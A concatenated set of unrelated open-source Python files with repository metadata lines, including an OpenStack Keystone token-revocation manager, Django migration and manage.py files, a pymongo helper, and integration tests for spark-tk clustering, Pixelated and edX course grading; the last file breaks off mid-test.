# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import abc
import datetime
from oslo_config import cfg
from oslo_log import log
from oslo_utils import timeutils
import six
from keystone.common import cache
from keystone.common import dependency
from keystone.common import extension
from keystone.common import manager
from keystone.contrib.revoke import model
from keystone import exception
from keystone.i18n import _
from keystone import notifications
from keystone.openstack.common import versionutils
CONF = cfg.CONF
LOG = log.getLogger(__name__)
EXTENSION_DATA = {
'name': 'OpenStack Revoke API',
'namespace': 'http://docs.openstack.org/identity/api/ext/'
'OS-REVOKE/v1.0',
'alias': 'OS-REVOKE',
'updated': '2014-02-24T20:51:0-00:00',
'description': 'OpenStack revoked token reporting mechanism.',
'links': [
{
'rel': 'describedby',
'type': 'text/html',
'href': ('https://github.com/openstack/identity-api/blob/master/'
'openstack-identity-api/v3/src/markdown/'
'identity-api-v3-os-revoke-ext.md'),
}
]}
extension.register_admin_extension(EXTENSION_DATA['alias'], EXTENSION_DATA)
extension.register_public_extension(EXTENSION_DATA['alias'], EXTENSION_DATA)
SHOULD_CACHE = cache.should_cache_fn('revoke')
# TODO(ayoung): migrate from the token section
REVOCATION_CACHE_EXPIRATION_TIME = lambda: CONF.token.revocation_cache_time
def revoked_before_cutoff_time():
expire_delta = datetime.timedelta(
seconds=CONF.token.expiration + CONF.revoke.expiration_buffer)
oldest = timeutils.utcnow() - expire_delta
return oldest
@dependency.provider('revoke_api')
class Manager(manager.Manager):
"""Revoke API Manager.
Performs common logic for recording revocations.
"""
def __init__(self):
super(Manager, self).__init__(CONF.revoke.driver)
self._register_listeners()
self.model = model
def _user_callback(self, service, resource_type, operation,
payload):
self.revoke_by_user(payload['resource_info'])
def _role_callback(self, service, resource_type, operation,
payload):
self.revoke(
model.RevokeEvent(role_id=payload['resource_info']))
def _project_callback(self, service, resource_type, operation,
payload):
self.revoke(
model.RevokeEvent(project_id=payload['resource_info']))
def _domain_callback(self, service, resource_type, operation,
payload):
self.revoke(
model.RevokeEvent(domain_id=payload['resource_info']))
def _trust_callback(self, service, resource_type, operation,
payload):
self.revoke(
model.RevokeEvent(trust_id=payload['resource_info']))
def _consumer_callback(self, service, resource_type, operation,
payload):
self.revoke(
model.RevokeEvent(consumer_id=payload['resource_info']))
def _access_token_callback(self, service, resource_type, operation,
payload):
self.revoke(
model.RevokeEvent(access_token_id=payload['resource_info']))
def _group_callback(self, service, resource_type, operation, payload):
user_ids = (u['id'] for u in self.identity_api.list_users_in_group(
payload['resource_info']))
for uid in user_ids:
self.revoke(model.RevokeEvent(user_id=uid))
def _register_listeners(self):
callbacks = {
notifications.ACTIONS.deleted: [
['OS-TRUST:trust', self._trust_callback],
['OS-OAUTH1:consumer', self._consumer_callback],
['OS-OAUTH1:access_token', self._access_token_callback],
['role', self._role_callback],
['user', self._user_callback],
['project', self._project_callback],
],
notifications.ACTIONS.disabled: [
['user', self._user_callback],
['project', self._project_callback],
['domain', self._domain_callback],
],
notifications.ACTIONS.internal: [
[notifications.INVALIDATE_USER_TOKEN_PERSISTENCE,
self._user_callback],
]
}
for event, cb_info in six.iteritems(callbacks):
for resource_type, callback_fns in cb_info:
notifications.register_event_callback(event, resource_type,
callback_fns)
def revoke_by_user(self, user_id):
return self.revoke(model.RevokeEvent(user_id=user_id))
def _assert_not_domain_and_project_scoped(self, domain_id=None,
project_id=None):
if domain_id is not None and project_id is not None:
msg = _('The revoke call must not have both domain_id and '
'project_id. This is a bug in the Keystone server. The '
'current request is aborted.')
raise exception.UnexpectedError(exception=msg)
@versionutils.deprecated(as_of=versionutils.deprecated.JUNO,
remove_in=0)
def revoke_by_expiration(self, user_id, expires_at,
domain_id=None, project_id=None):
self._assert_not_domain_and_project_scoped(domain_id=domain_id,
project_id=project_id)
self.revoke(
model.RevokeEvent(user_id=user_id,
expires_at=expires_at,
domain_id=domain_id,
project_id=project_id))
def revoke_by_audit_id(self, audit_id):
self.revoke(model.RevokeEvent(audit_id=audit_id))
def revoke_by_audit_chain_id(self, audit_chain_id, project_id=None,
domain_id=None):
self._assert_not_domain_and_project_scoped(domain_id=domain_id,
project_id=project_id)
self.revoke(model.RevokeEvent(audit_chain_id=audit_chain_id,
domain_id=domain_id,
project_id=project_id))
def revoke_by_grant(self, role_id, user_id=None,
domain_id=None, project_id=None):
self.revoke(
model.RevokeEvent(user_id=user_id,
role_id=role_id,
domain_id=domain_id,
project_id=project_id))
def revoke_by_user_and_project(self, user_id, project_id):
self.revoke(
model.RevokeEvent(project_id=project_id, user_id=user_id))
def revoke_by_project_role_assignment(self, project_id, role_id):
self.revoke(model.RevokeEvent(project_id=project_id, role_id=role_id))
def revoke_by_domain_role_assignment(self, domain_id, role_id):
self.revoke(model.RevokeEvent(domain_id=domain_id, role_id=role_id))
@cache.on_arguments(should_cache_fn=SHOULD_CACHE,
expiration_time=REVOCATION_CACHE_EXPIRATION_TIME)
def _get_revoke_tree(self):
events = self.driver.get_events()
revoke_tree = model.RevokeTree(revoke_events=events)
return revoke_tree
def check_token(self, token_values):
"""Checks the values from a token against the revocation list
:param token_values: dictionary of values from a token,
normalized for differences between v2 and v3. The checked values are a
subset of the attributes of model.TokenEvent
:raises exception.TokenNotFound: if the token is invalid
"""
if self._get_revoke_tree().is_revoked(token_values):
raise exception.TokenNotFound(_('Failed to validate token'))
def revoke(self, event):
self.driver.revoke(event)
self._get_revoke_tree.invalidate(self)
@six.add_metaclass(abc.ABCMeta)
class Driver(object):
"""Interface for recording and reporting revocation events."""
@abc.abstractmethod
def get_events(self, last_fetch=None):
"""return the revocation events, as a list of objects
:param last_fetch: Time of last fetch. Return all events newer.
:returns: A list of keystone.contrib.revoke.model.RevokeEvent
newer than `last_fetch.`
If no last_fetch is specified, returns all events
for tokens issued after the expiration cutoff.
"""
raise exception.NotImplemented() # pragma: no cover
@abc.abstractmethod
def revoke(self, event):
"""register a revocation event
:param event: An instance of
keystone.contrib.revoke.model.RevocationEvent
"""
raise exception.NotImplemented() # pragma: no cover
| UTSA-ICS/keystone-kerberos | keystone/contrib/revoke/core.py | Python | apache-2.0 | 9,529 |
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "ratemy.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| nashrafeeg/ratemy | manage.py | Python | gpl-2.0 | 249 |
# vim: set encoding=utf-8
# Copyright (c) 2016 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from setup import tc, rm, get_sandbox_path
import logging
logger = logging.getLogger(__name__)
def test_gmm(tc):
logger.info("define schema")
schema = [("Data", float),("Name", str)]
logger.info("creating the frame")
data = [[2, "ab"],
[1,"cd"],
[7,"ef"],
[1,"gh"],
[9,"ij"],
[2,"kl"],
[0,"mn"],
[6,"op"],
[5,"qr"],
[6,'st'],
[8,'uv'],
[9,'wx'],
[10,'yz']]
f = tc.frame.create(data, schema=schema)
logger.info(f.inspect())
logger.info("training the model on the frame")
model = tc.models.clustering.gmm.train(f, ['Data'], [1.0], 3, 99,seed=100)
for g in model.gaussians:
# mu should be a list[float]
assert(all(isinstance(m, float) for m in g.mu))
# sigma should be list[list[float]]
for s_list in g.sigma:
assert(all(isinstance(s, float) for s in s_list))
logger.info("predicting the cluster using the model and the frame")
predicted_frame = model.predict(f)
assert(set(predicted_frame.column_names) == set(['Data', 'Name','predicted_cluster']))
assert(len(predicted_frame.column_names) == 3)
assert(model.k == 3)
rows = predicted_frame.take(13)
val = set(map(lambda y : y[2], rows))
newlist = [[z[1] for z in rows if z[2] == a]for a in val]
act_out = [[s.encode('ascii') for s in list] for list in newlist]
act_out.sort(key = lambda rows: rows[0])
#Providing seed value to test for a static result
exp_out1 = [['ab', 'mn', 'cd', 'gh', 'kl'], ['ij', 'yz', 'uv', 'wx'], ['qr', 'ef', 'op', 'st']]
result = False
for list in act_out:
if list not in exp_out1:
result = False
else:
result = True
assert(result == True) | ashaarunkumar/spark-tk | integration-tests/tests/test_gmm.py | Python | apache-2.0 | 2,556 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('download_manager', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='communityuser',
name='address',
field=models.CharField(max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='communityuser',
name='company',
field=models.CharField(max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='communityuser',
name='facebook',
field=models.CharField(max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='communityuser',
name='homepage',
field=models.CharField(max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='communityuser',
name='linkedin',
field=models.CharField(max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='communityuser',
name='name',
field=models.CharField(max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='communityuser',
name='organization',
field=models.CharField(max_length=255),
preserve_default=True,
),
migrations.AlterField(
model_name='communityuser',
name='phone',
field=models.CharField(max_length=255),
preserve_default=True,
),
]
| ossbox/django-download-manager | django_download_manager/download_manager/migrations/0002_auto_20141202_0152.py | Python | mit | 1,826 |
#encoding=utf-8
import pymongo
db_info_test = {
'host' : 'localhost',
'port' : 27017,
'db' : 'test',
}
con = None
db = None
def init_db(profile):
global con, db
con = pymongo.Connection(profile['host'], profile['port'])
db = con[profile['db']]
def to_dict(o):
del o['_id']
return o
| c4pt0r/tornado-user | db_utils.py | Python | mit | 320 |
#
# Copyright (c) 2014 ThoughtWorks, Inc.
#
# Pixelated is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Pixelated is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Pixelated. If not, see <http://www.gnu.org/licenses/>.
import logging
import uuid
from crochet import setup, wait_for
from leap.common.events.server import ensure_server
from twisted.internet import defer
from test.support.dispatcher.proxy import Proxy
from test.support.integration import AppTestClient
from selenium import webdriver
from pixelated.resources.features_resource import FeaturesResource
from steps.common import *
setup()
@wait_for(timeout=5.0)
def start_app_test_client(client):
ensure_server()
return client.start_client()
def before_all(context):
logging.disable('INFO')
client = AppTestClient()
start_app_test_client(client)
client.listenTCP()
proxy = Proxy(proxy_port='8889', app_port='4567')
FeaturesResource.DISABLED_FEATURES.append('autoRefresh')
context.client = client
context.call_to_terminate_proxy = proxy.run_on_a_thread()
def after_all(context):
context.call_to_terminate_proxy()
def before_feature(context, feature):
# context.browser = webdriver.Firefox()
context.browser = webdriver.PhantomJS()
context.browser.set_window_size(1280, 1024)
context.browser.implicitly_wait(DEFAULT_IMPLICIT_WAIT_TIMEOUT_IN_S)
context.browser.set_page_load_timeout(60) # wait for data
context.browser.get('http://localhost:8889/')
def after_step(context, step):
if step.status == 'failed':
id = str(uuid.uuid4())
context.browser.save_screenshot('failed ' + str(step.name) + '_' + id + ".png")
save_source(context, 'failed ' + str(step.name) + '_' + id + ".html")
def after_feature(context, feature):
context.browser.quit()
cleanup_all_mails(context)
context.last_mail = None
@wait_for(timeout=10.0)
def cleanup_all_mails(context):
@defer.inlineCallbacks
def _delete_all_mails():
mails = yield context.client.mail_store.all_mails()
for mail in mails:
yield context.client.mail_store.delete_mail(mail.ident)
return _delete_all_mails()
def save_source(context, filename='/tmp/source.html'):
with open(filename, 'w') as out:
out.write(context.browser.page_source.encode('utf8'))
| PuZZleDucK/pixelated-user-agent | service/test/functional/features/environment.py | Python | agpl-3.0 | 2,804 |
# -*- coding: utf-8 -*-
"""
Integration tests for submitting problem responses and getting grades.
"""
# pylint: disable=attribute-defined-outside-init
import json
import os
from textwrap import dedent
import ddt
import six
from django.conf import settings
from django.contrib.auth.models import User # lint-amnesty, pylint: disable=imported-auth-user
from django.db import connections
from django.test import TestCase
from django.test.client import RequestFactory
from django.urls import reverse
from django.utils.timezone import now
from mock import patch
from six import text_type
from submissions import api as submissions_api
from capa.tests.response_xml_factory import (
CodeResponseXMLFactory,
CustomResponseXMLFactory,
OptionResponseXMLFactory,
SchematicResponseXMLFactory
)
from common.djangoapps.course_modes.models import CourseMode
from lms.djangoapps.courseware.models import BaseStudentModuleHistory, StudentModule
from lms.djangoapps.courseware.tests.helpers import LoginEnrollmentTestCase
from lms.djangoapps.grades.api import CourseGradeFactory, task_compute_all_grades_for_course
from openedx.core.djangoapps.credit.api import get_credit_requirement_status, set_credit_requirements
from openedx.core.djangoapps.credit.models import CreditCourse, CreditProvider
from openedx.core.djangoapps.user_api.tests.factories import UserCourseTagFactory
from openedx.core.lib.url_utils import quote_slashes
from common.djangoapps.student.models import CourseEnrollment, anonymous_id_for_user
from xmodule.modulestore.tests.django_utils import ModuleStoreTestCase
from xmodule.modulestore.tests.factories import CourseFactory, ItemFactory
from xmodule.partitions.partitions import Group, UserPartition
class ProblemSubmissionTestMixin(TestCase):
"""
TestCase mixin that provides functions to submit answers to problems.
"""
def refresh_course(self):
"""
Re-fetch the course from the database so that the object being dealt with has everything added to it.
"""
self.course = self.store.get_course(self.course.id)
def problem_location(self, problem_url_name):
"""
Returns the url of the problem given the problem's name
"""
return self.course.id.make_usage_key('problem', problem_url_name)
def modx_url(self, problem_location, dispatch):
"""
Return the url needed for the desired action.
problem_location: location of the problem on which we want some action
dispatch: the the action string that gets passed to the view as a kwarg
example: 'check_problem' for having responses processed
"""
return reverse(
'xblock_handler',
kwargs={
'course_id': text_type(self.course.id),
'usage_id': quote_slashes(text_type(problem_location)),
'handler': 'xmodule_handler',
'suffix': dispatch,
}
)
def submit_question_answer(self, problem_url_name, responses):
"""
Submit answers to a question.
Responses is a dict mapping problem ids to answers:
{'2_1': 'Correct', '2_2': 'Incorrect'}
"""
problem_location = self.problem_location(problem_url_name)
modx_url = self.modx_url(problem_location, 'problem_check')
answer_key_prefix = 'input_{}_'.format(problem_location.html_id())
# format the response dictionary to be sent in the post request by adding the above prefix to each key
response_dict = {(answer_key_prefix + k): v for k, v in responses.items()}
resp = self.client.post(modx_url, response_dict)
return resp
def look_at_question(self, problem_url_name):
"""
Create state for a problem, but don't answer it
"""
location = self.problem_location(problem_url_name)
modx_url = self.modx_url(location, "problem_get")
resp = self.client.get(modx_url)
return resp
def reset_question_answer(self, problem_url_name):
"""
Reset specified problem for current user.
"""
problem_location = self.problem_location(problem_url_name)
modx_url = self.modx_url(problem_location, 'problem_reset')
resp = self.client.post(modx_url)
return resp
def rescore_question(self, problem_url_name):
"""
Reset specified problem for current user.
"""
problem_location = self.problem_location(problem_url_name)
modx_url = self.modx_url(problem_location, 'problem_reset')
resp = self.client.post(modx_url)
return resp
def show_question_answer(self, problem_url_name):
"""
Shows the answer to the current student.
"""
problem_location = self.problem_location(problem_url_name)
modx_url = self.modx_url(problem_location, 'problem_show')
resp = self.client.post(modx_url)
return resp
class TestSubmittingProblems(ModuleStoreTestCase, LoginEnrollmentTestCase, ProblemSubmissionTestMixin):
"""
Check that a course gets graded properly.
"""
# Tell Django to clean out all databases, not just default
databases = {alias for alias in connections} # lint-amnesty, pylint: disable=unnecessary-comprehension
# arbitrary constant
COURSE_SLUG = "100"
COURSE_NAME = "test_course"
ENABLED_CACHES = ['default', 'mongo_metadata_inheritance', 'loc_cache']
ENABLED_SIGNALS = ['course_published']
def setUp(self):
super(TestSubmittingProblems, self).setUp() # lint-amnesty, pylint: disable=super-with-arguments
# create a test student
self.course = CourseFactory.create(display_name=self.COURSE_NAME, number=self.COURSE_SLUG)
self.student = '[email protected]'
self.password = 'foo'
self.create_account('u1', self.student, self.password)
self.activate_user(self.student)
self.enroll(self.course)
self.student_user = User.objects.get(email=self.student)
self.factory = RequestFactory()
def add_dropdown_to_section(self, section_location, name, num_inputs=2):
"""
Create and return a dropdown problem.
section_location: location object of section in which to create the problem
(problems must live in a section to be graded properly)
name: string name of the problem
num_input: the number of input fields to create in the problem
"""
prob_xml = OptionResponseXMLFactory().build_xml(
question_text='The correct answer is Correct',
num_inputs=num_inputs,
weight=num_inputs,
options=['Correct', 'Incorrect', u'ⓤⓝⓘⓒⓞⓓⓔ'],
correct_option='Correct'
)
problem = ItemFactory.create(
parent_location=section_location,
category='problem',
data=prob_xml,
metadata={'rerandomize': 'always'},
display_name=name
)
# re-fetch the course from the database so the object is up to date
self.refresh_course()
return problem
def add_graded_section_to_course(self, name, section_format='Homework', late=False, reset=False, showanswer=False):
"""
Creates a graded homework section within a chapter and returns the section.
"""
# if we don't already have a chapter create a new one
if not hasattr(self, 'chapter'):
self.chapter = ItemFactory.create(
parent_location=self.course.location,
category='chapter'
)
if late:
section = ItemFactory.create(
parent_location=self.chapter.location,
display_name=name,
category='sequential',
metadata={'graded': True, 'format': section_format, 'due': '2013-05-20T23:30'}
)
elif reset:
section = ItemFactory.create(
parent_location=self.chapter.location,
display_name=name,
category='sequential',
rerandomize='always',
metadata={
'graded': True,
'format': section_format,
}
)
elif showanswer:
section = ItemFactory.create(
parent_location=self.chapter.location,
display_name=name,
category='sequential',
showanswer='never',
metadata={
'graded': True,
'format': section_format,
}
)
else:
section = ItemFactory.create(
parent_location=self.chapter.location,
display_name=name,
category='sequential',
metadata={'graded': True, 'format': section_format}
)
# now that we've added the problem and section to the course
# we fetch the course from the database so the object we are
# dealing with has these additions
self.refresh_course()
return section
def add_grading_policy(self, grading_policy):
"""
Add a grading policy to the course.
"""
self.course.grading_policy = grading_policy
self.update_course(self.course, self.student_user.id)
self.refresh_course()
def get_course_grade(self):
"""
Return CourseGrade for current user and course.
"""
return CourseGradeFactory().read(self.student_user, self.course)
def check_grade_percent(self, percent):
"""
Assert that percent grade is as expected.
"""
assert self.get_course_grade().percent == percent
def earned_hw_scores(self):
"""
Global scores, each Score is a Problem Set.
Returns list of scores: [<points on hw_1>, <points on hw_2>, ..., <points on hw_n>]
"""
return [
s.graded_total.earned for s in six.itervalues(
self.get_course_grade().graded_subsections_by_format['Homework'])
]
def hw_grade(self, hw_url_name):
"""
Returns SubsectionGrade for given url.
"""
for chapter in six.itervalues(self.get_course_grade().chapter_grades):
for section in chapter['sections']:
if section.url_name == hw_url_name:
return section
return None
def score_for_hw(self, hw_url_name):
"""
Returns list of scores for a given url.
Returns list of scores for the given homework:
[<points on problem_1>, <points on problem_2>, ..., <points on problem_n>]
"""
return [s.earned for s in self.hw_grade(hw_url_name).problem_scores.values()]
class TestCourseGrades(TestSubmittingProblems):
"""
Tests grades are updated correctly when manipulating problems.
"""
def setUp(self):
super(TestCourseGrades, self).setUp() # lint-amnesty, pylint: disable=super-with-arguments
self.homework = self.add_graded_section_to_course('homework')
self.problem = self.add_dropdown_to_section(self.homework.location, 'p1', 1)
def _submit_correct_answer(self):
"""
Submits correct answer to the problem.
"""
resp = self.submit_question_answer('p1', {'2_1': 'Correct'})
assert resp.status_code == 200
def _verify_grade(self, expected_problem_score, expected_hw_grade):
"""
Verifies the problem score and the homework grade are as expected.
"""
hw_grade = self.hw_grade('homework')
problem_score = list(hw_grade.problem_scores.values())[0]
assert (problem_score.earned, problem_score.possible) == expected_problem_score
assert (hw_grade.graded_total.earned, hw_grade.graded_total.possible) == expected_hw_grade
def test_basic(self):
self._submit_correct_answer()
self._verify_grade(expected_problem_score=(1.0, 1.0), expected_hw_grade=(1.0, 1.0))
def test_problem_reset(self):
self._submit_correct_answer()
self.reset_question_answer('p1')
self._verify_grade(expected_problem_score=(0.0, 1.0), expected_hw_grade=(0.0, 1.0))
@ddt.ddt
class TestCourseGrader(TestSubmittingProblems):
"""
Suite of tests for the course grader.
"""
# Tell Django to clean out all databases, not just default
databases = {alias for alias in connections} # lint-amnesty, pylint: disable=unnecessary-comprehension
def basic_setup(self, late=False, reset=False, showanswer=False):
"""
Set up a simple course for testing basic grading functionality.
"""
grading_policy = {
"GRADER": [{
"type": "Homework",
"min_count": 1,
"drop_count": 0,
"short_label": "HW",
"weight": 1.0
}],
"GRADE_CUTOFFS": {
'A': .9,
'B': .33
}
}
self.add_grading_policy(grading_policy)
# set up a simple course with four problems
self.homework = self.add_graded_section_to_course('homework', late=late, reset=reset, showanswer=showanswer)
self.add_dropdown_to_section(self.homework.location, 'p1', 1)
self.add_dropdown_to_section(self.homework.location, 'p2', 1)
self.add_dropdown_to_section(self.homework.location, 'p3', 1)
self.refresh_course()
def weighted_setup(self, hw_weight=0.25, final_weight=0.75):
"""
Set up a simple course for testing weighted grading functionality.
"""
self.set_weighted_policy(hw_weight, final_weight)
# set up a structure of 1 homework and 1 final
self.homework = self.add_graded_section_to_course('homework')
self.problem = self.add_dropdown_to_section(self.homework.location, 'H1P1')
self.final = self.add_graded_section_to_course('Final Section', 'Final')
self.final_question = self.add_dropdown_to_section(self.final.location, 'FinalQuestion')
def set_weighted_policy(self, hw_weight=0.25, final_weight=0.75):
"""
Set up a simple course for testing weighted grading functionality.
"""
grading_policy = {
"GRADER": [
{
"type": "Homework",
"min_count": 1,
"drop_count": 0,
"short_label": "HW",
"weight": hw_weight
},
{
"type": "Final",
"min_count": 0,
"drop_count": 0,
"name": "Final Section",
"short_label": "Final",
"weight": final_weight
}
]
}
self.add_grading_policy(grading_policy)
task_compute_all_grades_for_course.apply_async(kwargs={'course_key': six.text_type(self.course.id)})
def dropping_setup(self):
"""
Set up a simple course for testing the dropping grading functionality.
"""
grading_policy = {
"GRADER": [
{
"type": "Homework",
"min_count": 3,
"drop_count": 1,
"short_label": "HW",
"weight": 1
}
]
}
self.add_grading_policy(grading_policy)
# Set up a course structure that just consists of 3 homeworks.
# Since the grading policy drops 1 entire homework, each problem is worth 25%
# names for the problem in the homeworks
self.hw1_names = ['h1p1', 'h1p2']
self.hw2_names = ['h2p1', 'h2p2']
self.hw3_names = ['h3p1', 'h3p2']
self.homework1 = self.add_graded_section_to_course('homework1')
self.homework2 = self.add_graded_section_to_course('homework2')
self.homework3 = self.add_graded_section_to_course('homework3')
self.add_dropdown_to_section(self.homework1.location, self.hw1_names[0], 1)
self.add_dropdown_to_section(self.homework1.location, self.hw1_names[1], 1)
self.add_dropdown_to_section(self.homework2.location, self.hw2_names[0], 1)
self.add_dropdown_to_section(self.homework2.location, self.hw2_names[1], 1)
self.add_dropdown_to_section(self.homework3.location, self.hw3_names[0], 1)
self.add_dropdown_to_section(self.homework3.location, self.hw3_names[1], 1)
def test_submission_late(self):
"""Test problem for due date in the past"""
self.basic_setup(late=True)
resp = self.submit_question_answer('p1', {'2_1': 'Correct'})
assert resp.status_code == 200
err_msg = (
"The state of this problem has changed since you loaded this page. "
"Please refresh your page."
)
assert json.loads(resp.content.decode('utf-8')).get('success') == err_msg
def test_submission_reset(self):
"""Test problem ProcessingErrors due to resets"""
self.basic_setup(reset=True)
resp = self.submit_question_answer('p1', {'2_1': 'Correct'})
# submit a second time to draw NotFoundError
resp = self.submit_question_answer('p1', {'2_1': 'Correct'})
assert resp.status_code == 200
err_msg = (
"The state of this problem has changed since you loaded this page. "
"Please refresh your page."
)
assert json.loads(resp.content.decode('utf-8')).get('success') == err_msg
def test_submission_show_answer(self):
"""Test problem for ProcessingErrors due to showing answer"""
self.basic_setup(showanswer=True)
resp = self.show_question_answer('p1')
assert resp.status_code == 200
err_msg = (
"The state of this problem has changed since you loaded this page. "
"Please refresh your page."
)
assert json.loads(resp.content.decode('utf-8')).get('success') == err_msg
def test_show_answer_doesnt_write_to_csm(self):
self.basic_setup()
self.submit_question_answer('p1', {'2_1': u'Correct'})
# Now fetch the state entry for that problem.
student_module = StudentModule.objects.filter(
course_id=self.course.id,
student=self.student_user
)
# count how many state history entries there are
baseline = BaseStudentModuleHistory.get_history(student_module)
assert len(baseline) == 2
# now click "show answer"
self.show_question_answer('p1')
# check that we don't have more state history entries
csmh = BaseStudentModuleHistory.get_history(student_module)
assert len(csmh) == 2
def test_grade_with_collected_max_score(self):
"""
Tests that the results of grading runs before and after the cache
warms are the same.
"""
self.basic_setup()
self.submit_question_answer('p1', {'2_1': 'Correct'})
self.look_at_question('p2')
assert StudentModule.objects.filter(module_state_key=self.problem_location('p2')).exists()
# problem isn't in the cache, but will be when graded
self.check_grade_percent(0.33)
# problem is in the cache, should be the same result
self.check_grade_percent(0.33)
def test_none_grade(self):
"""
Check grade is 0 to begin with.
"""
self.basic_setup()
self.check_grade_percent(0)
assert self.get_course_grade().letter_grade is None
def test_b_grade_exact(self):
"""
Check that at exactly the cutoff, the grade is B.
"""
self.basic_setup()
self.submit_question_answer('p1', {'2_1': 'Correct'})
self.check_grade_percent(0.33)
assert self.get_course_grade().letter_grade == 'B'
def test_b_grade_above(self):
"""
Check grade between cutoffs.
"""
self.basic_setup()
self.submit_question_answer('p1', {'2_1': 'Correct'})
self.submit_question_answer('p2', {'2_1': 'Correct'})
self.check_grade_percent(0.67)
assert self.get_course_grade().letter_grade == 'B'
def test_a_grade(self):
"""
Check that 100 percent completion gets an A
"""
self.basic_setup()
self.submit_question_answer('p1', {'2_1': 'Correct'})
self.submit_question_answer('p2', {'2_1': 'Correct'})
self.submit_question_answer('p3', {'2_1': 'Correct'})
self.check_grade_percent(1.0)
assert self.get_course_grade().letter_grade == 'A'
def test_wrong_answers(self):
"""
Check that answering incorrectly is graded properly.
"""
self.basic_setup()
self.submit_question_answer('p1', {'2_1': 'Correct'})
self.submit_question_answer('p2', {'2_1': 'Correct'})
self.submit_question_answer('p3', {'2_1': 'Incorrect'})
self.check_grade_percent(0.67)
assert self.get_course_grade().letter_grade == 'B'
def test_submissions_api_overrides_scores(self):
"""
Check that answering incorrectly is graded properly.
"""
self.basic_setup()
self.submit_question_answer('p1', {'2_1': 'Correct'})
self.submit_question_answer('p2', {'2_1': 'Correct'})
self.submit_question_answer('p3', {'2_1': 'Incorrect'})
self.check_grade_percent(0.67)
assert self.get_course_grade().letter_grade == 'B'
student_item = {
'student_id': anonymous_id_for_user(self.student_user, self.course.id),
'course_id': six.text_type(self.course.id),
'item_id': six.text_type(self.problem_location('p3')),
'item_type': 'problem'
}
submission = submissions_api.create_submission(student_item, 'any answer')
submissions_api.set_score(submission['uuid'], 1, 1)
self.check_grade_percent(1.0)
assert self.get_course_grade().letter_grade == 'A'
def test_submissions_api_anonymous_student_id(self):
"""
Check that the submissions API is sent an anonymous student ID.
"""
self.basic_setup()
self.submit_question_answer('p1', {'2_1': 'Correct'})
self.submit_question_answer('p2', {'2_1': 'Correct'})
with patch('submissions.api.get_scores') as mock_get_scores:
mock_get_scores.return_value = {
text_type(self.problem_location('p3')): {
'points_earned': 1,
'points_possible': 1,
'created_at': now(),
},
}
self.submit_question_answer('p3', {'2_1': 'Incorrect'})
# Verify that the submissions API was sent an anonymized student ID
mock_get_scores.assert_called_with(
text_type(self.course.id),
anonymous_id_for_user(self.student_user, self.course.id)
)
def test_weighted_homework(self):
"""
Test that the homework section has proper weight.
"""
self.weighted_setup()
# Get both parts correct
self.submit_question_answer('H1P1', {'2_1': 'Correct', '2_2': 'Correct'})
self.check_grade_percent(0.25)
assert self.earned_hw_scores() == [2.0]
# Order matters
assert self.score_for_hw('homework') == [2.0]
def test_weighted_exam(self):
"""
Test that the exam section has the proper weight.
"""
self.weighted_setup()
self.submit_question_answer('FinalQuestion', {'2_1': 'Correct', '2_2': 'Correct'})
self.check_grade_percent(0.75)
def test_weighted_total(self):
"""
Test that the weighted total adds to 100.
"""
self.weighted_setup()
self.submit_question_answer('H1P1', {'2_1': 'Correct', '2_2': 'Correct'})
self.submit_question_answer('FinalQuestion', {'2_1': 'Correct', '2_2': 'Correct'})
self.check_grade_percent(1.0)
def test_grade_updates_on_weighted_change(self):
"""
Test that the course grade updates when the
assignment weights change.
"""
self.weighted_setup()
self.submit_question_answer('H1P1', {'2_1': 'Correct', '2_2': 'Correct'})
self.check_grade_percent(0.25)
self.set_weighted_policy(0.75, 0.25)
self.check_grade_percent(0.75)
def dropping_homework_stage1(self):
"""
Get half the first homework correct and all of the second
"""
self.submit_question_answer(self.hw1_names[0], {'2_1': 'Correct'})
self.submit_question_answer(self.hw1_names[1], {'2_1': 'Incorrect'})
for name in self.hw2_names:
self.submit_question_answer(name, {'2_1': 'Correct'})
def test_dropping_grades_normally(self):
"""
Test that the dropping policy does not change things before it should.
"""
self.dropping_setup()
self.dropping_homework_stage1()
assert self.score_for_hw('homework1') == [1.0, 0.0]
assert self.score_for_hw('homework2') == [1.0, 1.0]
assert self.earned_hw_scores() == [1.0, 2.0, 0]
# Order matters
self.check_grade_percent(0.75)
def test_dropping_nochange(self):
"""
Tests that grade does not change when making the global homework grade minimum not unique.
"""
self.dropping_setup()
self.dropping_homework_stage1()
self.submit_question_answer(self.hw3_names[0], {'2_1': 'Correct'})
assert self.score_for_hw('homework1') == [1.0, 0.0]
assert self.score_for_hw('homework2') == [1.0, 1.0]
assert self.score_for_hw('homework3') == [1.0, 0.0]
assert self.earned_hw_scores() == [1.0, 2.0, 1.0]
# Order matters
self.check_grade_percent(0.75)
def test_dropping_all_correct(self):
"""
Test that the lowest is dropped for a perfect score.
"""
self.dropping_setup()
self.dropping_homework_stage1()
for name in self.hw3_names:
self.submit_question_answer(name, {'2_1': 'Correct'})
